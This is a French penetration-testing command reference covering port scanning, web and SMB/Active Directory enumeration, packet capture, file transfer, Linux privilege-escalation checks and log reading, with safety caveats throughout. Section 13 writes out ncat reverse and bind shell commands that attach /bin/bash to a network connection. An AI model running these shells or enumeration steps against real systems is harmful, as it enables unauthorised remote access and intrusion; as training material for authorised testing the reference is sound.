netstat • Niveau 2

Affiche les connexions et ports avec l'outil historique net-tools.

Syntaxe netstat [options]

Options et arguments utiles

Élément	Explication
-t / -u	Sélectionne TCP / UDP.
-l / -n	Garde les écoutes / affiche les numéros au lieu des noms.
-p	Ajoute les processus visibles selon vos droits.

Exemple

```
netstat -tuln
```

Résultat Les ports TCP et UDP en écoute, sous forme numérique.

À retenir Équivalent moderne : ss -tuln.

SS • Niveau 2

Affiche les connexions et les services qui écoutent sur la machine locale.

Syntaxe ss [options] [filtre]

Options et arguments utiles

Élément	Explication
-l	Garde les sockets en écoute.
-t / -u	Sélectionne TCP / UDP.
-n / -p	Affiche les numéros / les processus.

Exemple

```
sudo ss -lntp
```

Résultat Les ports TCP en écoute et les processus associés.

À retenir 127.0.0.1 est local ; 0.0.0.0 écoute sur toutes les adresses IPv4 locales. Le pare-feu compte aussi.

CONSULTATION PAR COMMANDE • SECTION 06

06 Scanner de ports

Commencer par une cible et les ports utiles. Nmap affiche des observations ; confirmer ensuite avec le client du service concerné.

nmap • Niveau 2

Recherche les ports accessibles et identifie les services d'une cible.

Syntaxe nmap [type de scan] [options] cible

Options et arguments utiles

Élément	Explication
-p 22,80,443 / -p-	Choisit les ports / teste les ports 1 à 65535.
-sV	Interroge les services pour estimer leur version.
-sC	Lance les scripts par défaut ; ils peuvent avoir un impact.
-O	Estime le système d'exploitation ; privilèges généralement requis.

Exemple

```
nmap -sV -p 22,80,443 192.0.2.20
```

Résultat L'état des trois ports et les services ou versions estimés.

À retenir Une version affichée ne prouve pas une vulnérabilité. Sans -sU, ce scan ne teste pas UDP.

Premier scan sans option

```
nmap 192.0.2.20
```

Teste normalement les 1 000 ports TCP les plus courants. open indique un port accessible ; closed un port fermé ; filtered une réponse empêchant de conclure.

OPTIONS AVANCÉES • NIVEAUX 3 À 4

06 Nmap pour approfondir

Option	Utilité
-Pn	Traite la cible comme active sans la découverte habituelle.
-A	Active versions, détection du système, scripts par défaut et traceroute.
--script NOM	Choisit un script précis.
--script-help NOM	Lit l'aide du script avant de le lancer.
-sU	Teste UDP ; privilèges généralement requis.
-oA PREFIXE	Enregistre les résultats dans trois formats.
--max-rate 50	Fixe un plafond de sondes ; ne limite pas tous les échanges des scripts.

Vérifier un service web

```
nmap -Pn -sV -p 80,443 --script http-title \
  -oA web 192.0.2.20
```

Résultat : ports web, versions estimées et titre de page si disponible ; fichiers web.nmap, web.gnmap et web.xml.

Choisir un approfondissement

Besoin	Commande
Scripts par défaut	nmap -sC -p 22,80,443 192.0.2.20
Système probable	sudo nmap -O 192.0.2.20
Analyse élargie	sudo nmap -A -p 22,80,443 192.0.2.20
Service DNS sur UDP	sudo nmap -sU -p 53 192.0.2.20

À retenir -Pn n'est pas furtif. -A ne scanne pas tous les ports. -sC et -A peuvent déclencher des contrôles actifs : lire les scripts et respecter le périmètre.

CONSULTATION PAR COMMANDE • SECTION 07

07 Énumération web

Relever les en-têtes et les technologies, puis rechercher des chemins. Un code HTTP 200 ne prouve pas toujours qu'une ressource existe : certains sites renvoient 200 pour leurs erreurs.

curl • Niveau 2

Envoie une requête web et affiche ou enregistre la réponse.

Syntaxe curl [options] URL

Options et arguments utiles

Élément	Explication
-I	Demande uniquement les en-têtes avec la méthode HEAD.
-sS	Masque la progression mais garde les erreurs.
-o page.html	Enregistre le corps de la réponse dans un fichier.
--max-time 10	Limite l'opération à dix secondes.

Exemple

```
curl -I --max-time 10 http://192.0.2.20/
```

Résultat Les en-têtes de la réponse, par exemple le code et le serveur annoncé.

À retenir HEAD peut différer d'une requête normale. Éviter -k, qui désactive la vérification du certificat.

wget • Niveau 2

Télécharge une ressource web dans un fichier local.

Syntaxe wget [options] URL

Options et arguments utiles

Élément	Explication
-O NOM	Choisit le nom du fichier de sortie.
--timeout=10	Fixe les délais d'attente à dix secondes.
--limit-rate=200k	Limite le débit de téléchargement.

Exemple

```
wget -O copie.txt http://192.0.2.20:8000/notes.txt
```

Résultat Le contenu est enregistré dans copie.txt.

À retenir -O peut écraser un fichier existant.

CONSULTATION PAR COMMANDE • SECTION 07

07 Énumération web suite

whatweb • Niveau 2

Recherche des indices sur les technologies utilisées par un site.

Syntaxe whatweb [options] URL

Options et arguments utiles

Élément	Explication
-v	Affiche davantage de détails sur les détections.
--log-json=resultats.json	Enregistre une sortie structurée au format JSON.
-a N	Change l'agressivité ; augmenter N peut ajouter des requêtes.

Exemple

```
whatweb http://192.0.2.20/
```

Résultat Des technologies probables : serveur, framework ou gestionnaire de contenu.

À retenir Confirmer les résultats : une bannière peut être fausse ou ancienne.

nikto • Niveau 2

Vérifie des chemins et réglages web connus pour signaler des points à examiner.

Syntaxe nikto -h URL [options]

Options et arguments utiles

Élément	Explication
-h URL	Désigne le site à analyser.
-Pause 1	Ajoute une pause d'une seconde entre les tests.
-maxtime 2m	Limite la durée à deux minutes.
-output rapport.txt	Enregistre les résultats.

Exemple

```
nikto -h http://192.0.2.20 -Pause 1 -maxtime 2m
```

Résultat Un rapport de contrôles, limité à deux minutes.

À retenir Génère beaucoup de requêtes. Une alerte est un point à vérifier, pas une faille confirmée.

CONSULTATION PAR COMMANDE • SECTION 07

07 Énumération web suite

ffuf • Niveau 2

Essaie les mots d'une liste dans un chemin web pour trouver des ressources.

Syntaxe ffuf -u URL/FUZZ -w mots.txt [options]

Options et arguments utiles

Élément	Explication
-u / -w	Choisit l'adresse contenant FUZZ / le fichier de mots.
-ac	Ajuste automatiquement les filtres pour réduire les faux résultats.
-rate 5 / -t 2	Cinq requêtes par seconde / deux requêtes en parallèle.
-maxtime 60	Arrête après soixante secondes.

Exemple

```
ffuf -u http://192.0.2.20/FUZZ -w mots.txt \
  -ac -rate 5 -t 2 -maxtime 60
```

Résultat Les chemins retenus par les filtres, pendant une minute au maximum.

À retenir Une fausse page d'erreur peut répondre 200. Vérifier quelques résultats avec curl.

gobuster • Niveau 2

Cherche des fichiers et dossiers web avec une liste de noms.

Syntaxe gobuster dir -u URL -w mots.txt [options]

Options et arguments utiles

Élément	Explication
dir / -u	Active la recherche de chemins / choisit le site.
-w	Désigne la wordlist.
-t 2 / --delay 1s	Deux tâches en parallèle, chacune avec une pause d'une seconde.
-x txt,html	Essaie aussi ces extensions ; multiplie les requêtes.

Exemple

```
gobuster dir -u http://192.0.2.20/ \
  -w mots.txt -t 2 --delay 1s
```

Résultat Les chemins retenus et leurs codes de réponse.

À retenir Le délai par travailleur n'est pas un plafond global de requêtes.

CONSULTATION PAR COMMANDE • SECTION 07

07 Énumération web suite

feroxbuster • Niveau 3

Cherche des chemins web et peut poursuivre dans les dossiers découverts.

Syntaxe feroxbuster -u URL -w mots.txt [options]

Options et arguments utiles

Élément	Explication
-u / -w	Choisit le site / la liste.
--no-recursion	Ne relance pas de recherche dans les dossiers découverts.
-t 2 / --rate-limit 5	Deux requêtes en parallèle / cinq requêtes par seconde et par scan.
--depth 2	Avec récursion, limite la profondeur à deux niveaux.

Exemple

```
feroxbuster -u http://192.0.2.20/ -w mots.txt \
  --no-recursion -t 2 --rate-limit 5
```

Résultat Une recherche sur le site sans exploration récursive.

À retenir La récursion peut lancer plusieurs scans ; surveiller leur charge totale.

CONSULTATION PAR COMMANDE • SECTION 08

08 Énumération réseau

Découvrir les hôtes et interroger leurs services. ARP fonctionne sur le lien local ; pour un autre réseau, utiliser des outils capables de joindre une adresse routée.

arp-scan • Niveau 2

Découvre une machine sur le même lien réseau par des requêtes ARP.

Syntaxe arp-scan [options] cibles

Options et arguments utiles

Élément	Explication
--interface=eth0	Choisit l'interface locale.
--localnet	Étend la recherche au réseau de cette interface.
--retry=1	Réduit le nombre de tentatives par cible.

Exemple

```
sudo arp-scan --interface=eth0 192.0.2.20
```

Résultat L'adresse matérielle de la cible si elle répond sur ce lien.

À retenir ARP ne traverse pas un routeur. Vérifier le réseau avant d'utiliser --localnet.

netdiscover • Niveau 2

Observe ou recherche les correspondances d'adresses sur le réseau local.

Syntaxe netdiscover [options]

Options et arguments utiles

Élément	Explication
-i eth0	Sélectionne l'interface.
-p	Écoute passivement, sans envoyer de sondes.
-r RESEAU	Définit la plage d'une recherche active.

Exemple

```
sudo netdiscover -i eth0 -p
```

Résultat Les hôtes observés dans le trafic ARP reçu.

À retenir En écoute passive, une machine silencieuse peut rester invisible.

CONSULTATION PAR COMMANDE • SECTION 08

08 Énumération réseau suite

nbtscan • Niveau 2

Interroge les noms NetBIOS exposés par certaines machines Windows ou Samba.

Syntaxe nbtscan [options] cible-ou-plage

Options et arguments utiles

Élément	Explication
-v	Affiche le détail des noms reçus.
-r	Utilise le port local 137 ; peut demander sudo.
-s :	Sépare les champs par le caractère choisi.

Exemple

```
nbtscan 192.0.2.20
```

Résultat Les noms NetBIOS retournés, si le service est disponible.

À retenir Un système récent peut ne pas exposer NetBIOS.

enum4linux • Niveau 2

Interroge des informations Windows ou Samba avec des clients RPC et SMB.

Syntaxe enum4linux [options] cible

Options et arguments utiles

Élément	Explication
-S	Recherche les partages.
-U	Demande la liste des utilisateurs.
-G	Demande la liste des groupes.

Exemple

```
enum4linux -S 192.0.2.20
```

Résultat Les partages que le serveur accepte de révéler.

À retenir Les informations disponibles dépendent des droits. Préférer enum4linux-ng si adapté à votre installation.

CONSULTATION PAR COMMANDE • SECTION 08

08 Énumération réseau suite

rpcclient • Niveau 2

Interroge certaines informations d’un serveur Windows ou Samba.

Syntaxe rpcclient [options] serveur

Options et arguments utiles

Élément	Explication
-U NOM	Choisit l’utilisateur ; une chaîne vide demande une identité vide.
-N	Ne demande pas de mot de passe ; n’accorde aucun droit supplémentaire.
-c "COMMANDE"	Exécute une requête, par exemple srvinfo ou enumdomusers.

Exemple

```
rpcclient -N -U "" 192.0.2.20 -c "srvinfo"
```

Résultat Les informations serveur accessibles sans mot de passe, ou un refus.

smbclient • Niveau 2

Liste les partages SMB et parcourt ceux auxquels vous avez accès.

Syntaxe smbclient //serveur/partage [options]

Options et arguments utiles

Élément	Explication
-L //HOTE	Liste les partages annoncés.
//HOTE/PARTAGE	Ouvre un partage ; ls liste ensuite son contenu.
-U utilisateur	Utilise un compte et demande son mot de passe.
-N	N’affiche pas d’invite de mot de passe.

Exemple

```
smbclient -L //192.0.2.20 -N -U ""
```

Résultat Les partages accessibles à la demande anonyme, ou un refus.

À retenir Un partage visible n’est pas forcément lisible. Ne pas ajouter le mot de passe à la commande.

CONSULTATION PAR COMMANDE • SECTION 09

09 Énumération SMB

Distinguer partage visible, accès en lecture et accès en écriture. smbclient et rpcclient sont présentés dans la section précédente.

crackmapexec • Niveau 2

Outil historique d'inventaire Windows ; présent dans d'anciens environnements.

Syntaxe crackmapexec protocole cible [options]

Options et arguments utiles

Élément	Explication
smb	Sélectionne le protocole SMB.
-u NOM	Indique un compte pour une opération authentifiée.
--shares	Demande la liste des partages avec le contexte choisi.

Exemple

```
crackmapexec smb 192.0.2.20
```

Résultat Les informations SMB que la cible expose à cette interrogation.

À retenir Pour une installation récente, consulter NetExec. Les options ne sont pas toutes interchangeables.

smbmap • Niveau 2

Résume les partages SMB et les accès annoncés pour une identité.

Syntaxe smbmap -H serveur [options]

Options et arguments utiles

Élément	Explication
-H ADRESSE	Choisit le serveur.
-u NOM	Choisit l'utilisateur pour un accès authentifié.
--no-write-check	Désactive la vérification active de l'écriture.

Exemple

```
smbmap -H 192.0.2.20 --no-write-check
```

Résultat Les partages et les informations d'accès obtenues, sans essai d'écriture.

À retenir Sans test d'écriture, ne pas présenter l'écriture comme démontrée. Les droits sur les fichiers peuvent varier.

CONSULTATION PAR COMMANDE • SECTION 09

09 Énumération SMB suite

enum4linux-ng • Niveau 2

Regroupe plusieurs requêtes d’inventaire Windows et Samba.

Syntaxe enum4linux-ng [options] cible

Options et arguments utiles

Élément	Explication
-S / -U / -G	Recherche les partages / utilisateurs / groupes.
-u NOM	Choisit l’utilisateur.
-oA rapport	Produit les formats de sortie pris en charge avec ce préfixe.

Exemple

```
enum4linux-ng -S 192.0.2.20
```

Résultat Les partages retournés et les éventuels refus d’accès.

À retenir Sélectionner les catégories utiles plutôt qu’une collecte maximale par défaut.

CONSULTATION PAR COMMANDE • SECTION 10

10 Énumération Active Directory

Active Directory réunit comptes, machines et groupes. LDAP lit les objets ; RPC expose certaines informations Windows ; BloodHound aide à voir les relations de droits. Utiliser les comptes de lecture fournis.

ldapsearch • Niveau 3

Interroge l'annuaire pour lire des objets ou certains paramètres du domaine.

Syntaxe ldapsearch [options] filtre [attributs...]

Options et arguments utiles

Élément	Explication
-H / -x	Choisit le serveur / l'authentification simple.
-b / -s base	Choisit la base / limite la requête à cet objet.
-LLL	Réduit les commentaires dans la sortie.
-D NOM -W	Indique l'identité de connexion et demande son mot de passe.

Exemple

```
ldapsearch -x -H ldap://dc.lab.test -s base -b "" \
  namingContexts
```

Résultat Les bases de recherche annoncées par le serveur, si elles sont publiques.

À retenir L'exemple est anonyme. Pour envoyer un mot de passe, utiliser TLS vérifié, par LDAPS ou -ZZ.

bloodhound-python • Niveau 3

Collecte les comptes, groupes et relations d'Active Directory pour BloodHound.

Syntaxe bloodhound-python [options]

Options et arguments utiles

Élément	Explication
-d / -u	Choisit le domaine / l'utilisateur autorisé.
-dc	Désigne le contrôleur de domaine.
-c Group,Trusts	Limite les catégories collectées.
--zip	Regroupe les fichiers de résultat dans une archive.

Exemple

```
bloodhound-python -d lab.test -u auditeur \
  -dc dc.lab.test -c Group,Trusts --zip
```

Résultat Une collecte des groupes et relations de confiance ; le mot de passe est demandé.

À retenir Choisir le collecteur compatible avec votre édition de BloodHound ; l'édition CE utilise un collecteur distinct.

CONSULTATION PAR COMMANDE • SECTION 10

10 Énumération Active Directory suite

netexec et nxc • Niveau 3

Interroge plusieurs protocoles Windows avec une syntaxe commune.

Syntaxe nxc protocole cible [options]

Options et arguments utiles

Élément	Explication
smb / ldap	Sélectionne le protocole ; ses options se lisent avec --help.
--shares	Avec smb, demande les partages.
--users / --groups	Demande des comptes / groupes, selon protocole et droits.
--use-kcache	Utilise un cache Kerberos existant pour l'authentification.

Exemple

```
nxc smb 192.0.2.20
```

Résultat Les informations SMB exposées par la cible.

À retenir Pour Kerberos, utiliser les noms du domaine et une horloge correcte ; un cache valide est nécessaire.

CONSULTATION PAR COMMANDE • SECTION 11

11 Capture réseau

Enregistrer seulement le trafic utile, puis filtrer la capture. Les fichiers PCAP et PCAPNG peuvent contenir des données sensibles.

tcpdump • Niveau 3

Capture le trafic réseau et permet de l'enregistrer pour analyse.

Syntaxe tcpdump [options] 'filtre'

Options et arguments utiles

Élément	Explication
-i eth0	Sélectionne l'interface.
-nn	Garde les adresses et ports sous forme numérique.
-c 20	Arrête après vingt paquets.
-w capture.pcap	Écrit les paquets dans un fichier au lieu de les afficher.

Exemple

```
sudo tcpdump -i eth0 -nn -c 20 'port 53'
```

Résultat Au maximum vingt paquets associés au port DNS habituel.

À retenir Protéger les captures : elles peuvent contenir des données ou des secrets.

tshark • Niveau 3

Analyse une capture réseau depuis le terminal.

Syntaxe tshark [options]

Options et arguments utiles

Élément	Explication
-r FICHIER	Lit une capture enregistrée.
-Y FILTRE	Filtre les paquets affichés, par protocole ou champ.
-T fields -e CHAMP	Extrait un champ précis, par exemple ip.src.

Exemple

```
tshark -r capture.pcapng -Y dns
```

Résultat Les paquets décodés comme DNS.

À retenir Un filtre d'affichage -Y n'a pas la même syntaxe qu'un filtre de capture -f.

CONSULTATION PAR COMMANDE • SECTION 11

11 Capture réseau suite

wireshark • Niveau 3

Analyse les paquets dans une interface graphique.

Syntaxe wireshark [options] [fichier]

Options et arguments utiles

Élément	Explication
-r FICHIER	Ouvre une capture enregistrée.
-Y dns	Applique un filtre d’affichage à l’ouverture.
-i eth0	Choisit une interface pour une capture.

Exemple

```
wireshark capture.pcapng
```

Résultat La capture s’ouvre ; un filtre permet d’isoler les échanges utiles.

À retenir Ouvrir les captures avec un compte ordinaire ; éviter de lancer toute l’interface avec sudo.

REPÈRES • NIVEAU 3

11 Filtres de capture utiles

Le filtre de capture réduit ce qui est enregistré. Le filtre d'affichage choisit ce qui est visible après décodage ; il ne supprime rien du fichier.

Contexte	tcpdump ou filtre de capture	Wireshark ou tshark -Y
HTTP habituel	tcp port 80	http
DNS habituel	port 53	dns
SMB habituel	tcp port 445	smb || smb2
Une machine	host 192.0.2.20	ip.addr == 192.0.2.20

Enregistrer un échange web

```
sudo tcpdump -i eth0 -nn -s 0 -w web.pcap \
  "host 192.0.2.20 and tcp port 80"
```

-s 0 demande la taille de capture maximale. -w enregistre le trafic ; Ctrl+C arrête la capture.

Lire les requêtes enregistrées

```
tshark -r web.pcap -Y http.request
```

À retenir Les ports sont des repères, pas des preuves de protocole. HTTPS masque le contenu HTTP ; les variantes chiffrées de DNS et SMB limitent aussi ce qui peut être lu.

CONSULTATION PAR COMMANDE • SECTION 12

12 Transfert de fichiers

Préférer SSH pour transférer des fichiers. curl et wget servent aussi au téléchargement web ; leurs options figurent en section 7.

scp • Niveau 2

Copie des fichiers par une connexion SSH chiffrée.

Syntaxe scp [options] source destination

Options et arguments utiles

Élément	Explication
-P 2222	Choisit le port SSH ; P est majuscule.
-i cle	Sélectionne une clé privée.
-r	Copie aussi le contenu d'un dossier.

Exemple

```
scp notes.txt analyste@192.0.2.20:~/notes.txt
```

Résultat Une copie du fichier dans le dossier personnel du compte distant.

À retenir Vérifier l'identité de l'hôte lors de la première connexion.

rsync • Niveau 3

Copie ou synchronise des dossiers en limitant les transferts inutiles.

Syntaxe rsync [options] source destination

Options et arguments utiles

Élément	Explication
-a	Active une copie récursive avec conservation d'attributs courants.
-v / -n	Détaille les actions / simule sans modifier.
-e "ssh -p 2222"	Choisit la commande SSH et son port.

Exemple

```
rsync -avn notes/ analyste@192.0.2.20:~/notes/
```

Résultat La liste des changements prévus ; -n empêche leur application.

À retenir notes/ désigne le contenu du dossier. --delete peut supprimer des fichiers à destination.

CONSULTATION PAR COMMANDE • SECTION 12

12 Transfert de fichiers suite

python3 -m http.server • Niveau 2

Partage temporairement les fichiers d'un dossier par HTTP.

Syntaxe python3 -m http.server [port] [options]

Options et arguments utiles

Élément	Explication
8000	Choisit le port d'écoute.
--bind ADRESSE	Limite l'écoute à cette adresse locale.
--directory DOSSIER	Choisit précisément les fichiers exposés.

Exemple

```
python3 -m http.server 8000 --bind 127.0.0.1 \
  --directory ./export
```

Résultat Le dossier export est accessible uniquement depuis cette machine, sur le port 8000.

À retenir Pour un transfert distant, adapter --bind à l'interface autorisée. Ni chiffrement ni connexion utilisateur ici.

nc • Niveau 2

Ouvre une connexion simple ou vérifie si un port TCP répond.

Syntaxe nc [options] [hote] [port]

Options et arguments utiles

Élément	Explication
-v / -z	Détaille le résultat / vérifie le port sans envoyer de contenu.
-w 3	Fixe un délai d'attente de trois secondes.
-l	Écoute pour une connexion entrante.
-N	Avec netcat-openbsd, ferme l'envoi à la fin de l'entrée.

Exemple

```
nc -vz -w 3 192.0.2.20 22
```

Résultat Un message de réussite, refus ou délai dépassé pour le port SSH.

À retenir nc existe en plusieurs variantes. Vérifier nc -h ; une connexion brute n'est pas chiffrée.

RÉFÉRENCE • NIVEAU 4

13 Reverse shells et bind shells

Un shell distant relie les entrées et sorties d'un interpréteur à une connexion réseau. La différence est le côté qui attend la connexion.

Type	Sens de la connexion
Reverse shell	La cible se connecte au poste opérateur qui écoute.
Bind shell	La cible écoute ; le poste opérateur se connecte à elle.

Ncat et ses options utiles

Ncat est fourni par le projet Nmap. Syntaxe : ncat [options] adresse port. Vérifier ncat -h ; les variantes de nc n'offrent pas toutes les mêmes options.

Option	Effet
-l ADRESSE PORT	Attend une connexion sur l'adresse et le port choisis.
--exec /bin/bash	Relie le programme Bash à la connexion.
--allow ADRESSE	Limite les adresses distantes acceptées par l'écouteur.

Reverse shell entre deux Linux autorisés

```
# Poste opérateur 192.0.2.10
ncat -l 192.0.2.10 4444 --allow 192.0.2.20
# Cible 192.0.2.20
ncat 192.0.2.10 4444 --exec /bin/bash
```

Bash s'exécute sur la cible avec les droits du compte qui lance Ncat.

Bind shell entre deux Linux autorisés

```
# Cible 192.0.2.20
ncat -l 192.0.2.20 4444 --allow 192.0.2.10 --exec /bin/bash
# Poste opérateur 192.0.2.10
ncat 192.0.2.20 4444
```

À retenir Ces exemples sont réservés à un environnement isolé ou explicitement autorisé. Connexion non chiffrée, sans authentification utilisateur : fermer les écouteurs après usage et préférer SSH pour l'administration.

CONSULTATION PAR COMMANDE • SECTION 14

14 Escalade de privilèges Linux

Rechercher une mauvaise configuration après avoir obtenu un accès autorisé. Un indice ne prouve pas une escalade : relier le droit observé à un programme réellement utilisé.

sudo -l • Niveau 3

sudo commande lance une commande avec les droits autorisés, généralement ceux de root. sudo -l affiche ces autorisations.

Syntaxe sudo -l [options]

Options et arguments utiles

Élément	Explication
-l	Liste les autorisations.
-ll	Affiche une liste plus détaillée.
-n	N'affiche pas d'invite ; échoue si un mot de passe est nécessaire.

Exemple

```
sudo -l
```

Résultat Les règles applicables au compte courant ; un mot de passe peut être demandé.

À retenir Lire le programme, les arguments et le compte autorisé. NOPASSWD ne signifie pas accès illimité.

find pour les permissions • Niveau 3

Repère les éléments dont le propriétaire ou les permissions méritent une vérification.

Syntaxe find chemin [critères] [action]

Options et arguments utiles

Élément	Explication
/	Commence à la racine et parcourt les dossiers accessibles.
-user root	Ne garde que les éléments appartenant au compte root.
-perm /4000	Recherche le bit SUID ; -perm -4000 donne ici le même résultat.
-perm -2000	Cherche le bit SGID.
-perm -0002	Cherche l'écriture autorisée aux autres.
-ls	Affiche les attributs de chaque résultat.

Exemple

```
# Commande Générale
find / -type f -user root -perm -4000 2>/dev/null
Le user root peut être changé selon le contexte.
```

Résultat La première recherche affiche les fichiers SUID de /usr/bin ; la seconde, les chemins SUID appartenant à root.

À retenir Ajouter -type f limite la seconde recherche aux fichiers ordinaires. Des refus d'accès peuvent apparaître. Un bit SUID ne prouve pas une faille.

CONSULTATION PAR COMMANDE • SECTION 14

14 Escalade de privilèges Linux suite

getcap • Niveau 3

Affiche les capacités attribuées aux programmes, c’est-à-dire certains pouvoirs de root.

Syntaxe getcap [options] fichier-ou-dossier

Options et arguments utiles

Élément	Explication
-r	Parcourt les sous-dossiers.
-v	Affiche aussi les fichiers sans capacité.
-n	Affiche l’identifiant racine associé si applicable.

Exemple

```
getcap -r /usr/bin
```

Résultat Les programmes de ce dossier qui possèdent des capacités.

À retenir Une capacité sur un interpréteur ou un outil inhabituel demande une analyse du contexte.

linpeas • Niveau 4

Regroupe des vérifications locales et signale des configurations à examiner.

Syntaxe sh ./linpeas.sh [options]

Options et arguments utiles

Élément	Explication
-h	Affiche l’aide du script téléchargé.
-s	Mode plus court, si proposé par cette version.
> fichier 2>&1	Enregistre la sortie et les erreurs ; syntaxe du shell.

Exemple

```
sh ./linpeas.sh > linpeas.txt 2>&1
```

Résultat Un rapport local ; les éléments signalés demandent confirmation.

À retenir Vérifier la provenance du script avant exécution. Le rapport peut contenir des secrets.

CONSULTATION PAR COMMANDE • SECTION 14

14 Escalade de privilèges Linux suite

pspy • Niveau 4

Observe les créations de processus visibles sans nécessiter systématiquement root.

Syntaxe ./pspy64 [options]

Options et arguments utiles

Élément	Explication
-p	Affiche les événements de processus.
-i 1000	Fixe l'intervalle de balayage à mille millisecondes.
-f	Affiche aussi les événements de fichiers surveillés.

Exemple

```
./pspy64 -p -i 1000
```

Résultat Les processus observés avec un balayage environ toutes les secondes.

À retenir Le binaire doit correspondre au système et être exécutable. Des tâches très courtes peuvent être manquées.

REPÈRES • NIVEAUX 3 À 4

14 Lire une mauvaise configuration

Relier ce que vous pouvez modifier à ce qu'un compte privilégié exécute ou lit. Documenter le chemin, le propriétaire et les droits avant de conclure.

Observation	Pourquoi la vérifier	Contrôle utile
Script de root modifiable	Son contenu peut changer avant une exécution privilégiée.	ls -l et getfacl sur le fichier et ses parents.
Éditeur autorisé par sudo	Certaines fonctions peuvent lancer d'autres commandes.	sudo -l ; lire la règle et les arguments exacts.
SUID inhabituel	Le programme peut utiliser l'identité de son propriétaire.	Vérifier provenance, comportement et montage.
Capacité sur un interpréteur	Certains pouvoirs élevés peuvent être disponibles.	getcap ; lire les capacités et leur portée.
Dossier de service modifiable	Un fichier protégé peut parfois y être remplacé.	Examiner les droits de chaque parent.
Secret lisible	Le secret peut ouvrir un autre accès selon sa portée.	Conserver une preuve masquée ; limiter la diffusion.

À retenir La présence d'un SUID, d'une capacité ou d'un processus root ne suffit pas à prouver une faille. Les restrictions, versions et chemins réellement utilisés changent le résultat.

CONSULTATION PAR COMMANDE • SECTION 15

15 Journalisation et logs

Filtrer par service, heure et type d’événement. Vérifier le fuseau horaire avant de rapprocher plusieurs journaux.

journalctl • Niveau 2

Lit les journaux collectés par systemd.

Syntaxe journalctl [options]

Options et arguments utiles

Élément	Explication
-u NOM	Filtre sur un service.
--since DATE	Garde les événements depuis cette date ou durée.
-n 30 / -f	Affiche trente entrées / suit les nouvelles entrées.
--no-pager	Désactive le lecteur interactif.

Exemple

```
journalctl -u ssh --since "1 hour ago" --no-pager
```

Résultat Les événements du service SSH pendant la dernière heure.

À retenir La lecture complète peut nécessiter sudo ou l’appartenance au groupe autorisé.

dmesg • Niveau 2

Affiche les messages du noyau : pilotes, matériel et certains incidents système.

Syntaxe dmesg [options]

Options et arguments utiles

Élément	Explication
--level=err,warn	Filtre les niveaux d’importance.
-T	Rend les dates lisibles, avec des limites après veille ou changement d’heure.
-w	Attend et affiche les nouveaux messages.

Exemple

```
sudo dmesg --level=err,warn
```

Résultat Les messages marqués erreur ou avertissement.

CONSULTATION PAR COMMANDE • SECTION 15

15 Journalisation et logs suite

auth.log et syslog • Niveau 2

Fichiers de journaux texte présents lorsque la journalisation correspondante est configurée.

Syntaxe lecteur [options] /var/log/fichier

Options et arguments utiles

Élément	Explication
less FICHIER	Lit le journal sans le modifier.
grep -n MOTIF	Filtre les lignes et affiche leur numéro.
tail -F FICHIER	Suit les nouveaux événements, même après rotation.

Exemple

```
sudo grep -n "Failed password" /var/log/auth.log
```

Résultat Les lignes enregistrant ces échecs SSH dans le fichier actuel.

À retenir Ce sont des fichiers, pas des commandes. S’ils sont absents, consulter journalctl et les fichiers archivés.

CONSULTATION PAR COMMANDE • SECTION 16

16 Astuces Linux pour pentesters

Gagner du temps avec des raccourcis, des redirections et des archives. Les exemples de shell supposent Bash.

alias • Niveau 1

Crée un raccourci de commande dans le shell courant.

Syntaxe alias nom='commande'

Options et arguments utiles

Élément	Explication
alias	Liste les alias définis.
alias NOM=COMMANDE	Définit un raccourci.
unalias NOM	Supprime le raccourci du shell courant.

Exemple

```
alias ll='ls -lah'
```

Résultat La commande ll affiche ensuite une liste détaillée.

À retenir Pour le conserver dans Bash, ajouter la définition à ~/.bashrc. Éviter les alias qui masquent une suppression.

history • Niveau 1

Affiche les commandes mémorisées par Bash.

Syntaxe history [options]

Options et arguments utiles

Élément	Explication
20	Limite la sortie aux vingt dernières entrées.
-a	Ajoute les nouvelles commandes au fichier d’historique.
Ctrl+R	Recherche une commande précédente ; raccourci du terminal.

Exemple

```
history 20
```

Résultat Les vingt dernières entrées connues du shell.

À retenir Ne pas saisir de secrets dans les commandes. L’historique n’est pas un journal d’audit complet.

CONSULTATION PAR COMMANDE • SECTION 16

16 Astuces Linux pour pentesters suite

Redirections et pipelines Bash • Niveau 2

Envoie la sortie d'une commande vers un fichier ou une autre commande.

Syntaxe commande [options] | autre_commande

Options et arguments utiles

Élément	Explication
> / >>	Remplace un fichier / ajoute à la fin.
2> erreurs.txt	Enregistre seulement les erreurs.
|	Envoie la sortie standard à la commande suivante.
> fichier 2>&1	Enregistre la sortie et les erreurs ensemble.

Exemple

```
ip -br address | tee interfaces.txt
```

Résultat Les interfaces s'affichent et sont enregistrées.

À retenir L'ordre des redirections compte ; > écrase le fichier avant le lancement de la commande.

tar • Niveau 2

Regroupe des fichiers dans une archive, avec compression facultative.

Syntaxe tar [options] -f archive [chemins]

Options et arguments utiles

Élément	Explication
-c / -x / -t	Crée / extrait / liste une archive ; choisir un seul mode.
-f FICHIER	Désigne le fichier d'archive.
-z	Utilise la compression gzip.
-C DOSSIER	Change de dossier avant l'opération.

Exemple

```
tar -czf notes.tar.gz notes/
```

Résultat Une archive compressée du dossier notes.

À retenir Lister une archive inconnue avec -tf avant extraction, puis utiliser un dossier isolé.

CONSULTATION PAR COMMANDE • SECTION 16

16 Astuces Linux pour pentesters suite

zip • Niveau 2

Crée une archive ZIP facile à partager.

Syntaxe zip [options] archive.zip fichiers...

Options et arguments utiles

Élément	Explication
-r	Inclut les sous-dossiers.
-x MOTIF	Exclut les noms correspondant au motif.
-q	Réduit les messages affichés.

Exemple

```
zip -r notes.zip notes/
```

Résultat Une archive contenant le dossier et ses fichiers.

À retenir Une archive ZIP ordinaire ne chiffre pas son contenu ; retirer les secrets avant partage.

gzip • Niveau 2

Compresse un fichier ; ne regroupe pas à lui seul plusieurs fichiers en archive.

Syntaxe gzip [options] fichier

Options et arguments utiles

Élément	Explication
-k	Conserve le fichier d’origine.
-d	Décompresse le fichier.
-c	Écrit le résultat sur la sortie standard.

Exemple

```
gzip -k notes.txt
```

Résultat Crée notes.txt.gz et conserve notes.txt.

CONSULTATION PAR COMMANDE • SECTION 16

16 Astuces Linux pour pentesters suite

tee • Niveau 2

Affiche une sortie tout en la copiant dans un fichier.

Syntaxe commande | tee [options] fichier

Options et arguments utiles

Élément	Explication
-a	Ajoute à la fin au lieu de remplacer le fichier.
-i	Ignore le signal d’interruption pour tee.

Exemple

```
ip route | tee routes.txt
```

Résultat Les routes apparaissent et sont enregistrées dans routes.txt.

À retenir tee reçoit la sortie standard. Ajouter 2>&1 avant le pipeline pour inclure les erreurs si nécessaire.

